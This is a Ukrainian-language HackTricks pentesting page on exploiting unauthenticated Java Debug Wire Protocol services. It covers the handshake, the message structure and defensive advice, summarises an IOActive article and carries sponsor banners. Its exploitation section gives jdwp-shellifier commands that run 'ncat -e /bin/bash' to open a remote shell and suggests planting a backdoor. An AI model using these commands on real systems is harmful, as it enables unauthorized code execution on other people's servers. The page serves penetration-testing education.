hacktricks/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md

10 KiB
Raw Blame History

Pentesting JDWP - Java Debug Wire Protocol

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Миттєво доступна установка для оцінки вразливостей та тестування на проникнення. Запустіть повний тест на проникнення з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо тестувальників на проникнення - ми розробляємо спеціалізовані інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, отримання доступу та розваг.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

Exploiting

Експлуатація JDWP залежить від відсутності аутентифікації та шифрування протоколу. Зазвичай він знаходиться на порті 8000, але можливі й інші порти. Початкове з'єднання здійснюється шляхом відправлення "JDWP-Handshake" на цільовий порт. Якщо служба JDWP активна, вона відповідає тим же рядком, підтверджуючи свою присутність. Цей хендшейк діє як метод відбитка для ідентифікації служб JDWP в мережі.

Щодо ідентифікації процесів, пошук рядка "jdwk" у процесах Java може вказувати на активну сесію JDWP.

Основний інструмент - jdwp-shellifier. Ви можете використовувати його з різними параметрами:

./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept

Я виявив, що використання --break-on 'java.lang.String.indexOf' робить експлойт більш стабільним. І якщо у вас є можливість завантажити бекдор на хост і виконати його замість виконання команди, експлойт буде ще більш стабільним.

Більше деталей

Це резюме з https://ioactive.com/hacking-java-debug-wire-protocol-or-how/. Перевірте його для отримання додаткових деталей.

  1. Огляд JDWP:
  • Це пакетний мережевий бінарний протокол, переважно синхронний.
  • Не має аутентифікації та шифрування, що робить його вразливим при відкритті до ворожих мереж.
  1. Рукостискання JDWP:
  • Використовується простий процес рукостискання для ініціації зв'язку. Обмінюється 14-символьним ASCII рядком “JDWP-Handshake” між Дебагером (клієнтом) та Дебагованим (сервером).
  1. Комунікація JDWP:
  • Повідомлення мають просту структуру з полями, такими як Довжина, Ідентифікатор, Прапор та Набір команд.
  • Значення Набору команд варіюються від 0x40 до 0x80, представляючи різні дії та події.
  1. Експлуатація:
  • JDWP дозволяє завантажувати та викликати довільні класи та байт-код, що створює ризики безпеки.
  • Стаття детально описує процес експлуатації в п'яти кроках, що включає отримання посилань на Java Runtime, встановлення точок зупинки та виклик методів.
  1. Експлуатація в реальному житті:
  • Незважаючи на потенційні захисти брандмауера, служби JDWP можна виявити та експлуатувати в реальних сценаріях, як показано в пошуках на платформах, таких як ShodanHQ та GitHub.
  • Скрипт експлойту був протестований на різних версіях JDK і є незалежним від платформи, пропонуючи надійне віддалене виконання коду (RCE).
  1. Безпекові наслідки:
  • Наявність відкритих служб JDWP в Інтернеті підкреслює необхідність регулярних перевірок безпеки, відключення функцій налагодження в продуктивному середовищі та належних конфігурацій брандмауера.

Посилання:

Миттєво доступна установка для оцінки вразливостей та пенетестації. Виконуйте повний пенетест з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо пенетестерів - ми розробляємо спеціальні інструменти, модулі виявлення та експлуатації, щоб дати їм більше часу для глибшого аналізу, отримання доступу до систем та отримання задоволення.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

{% hint style="success" %} Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримати HackTricks
{% endhint %}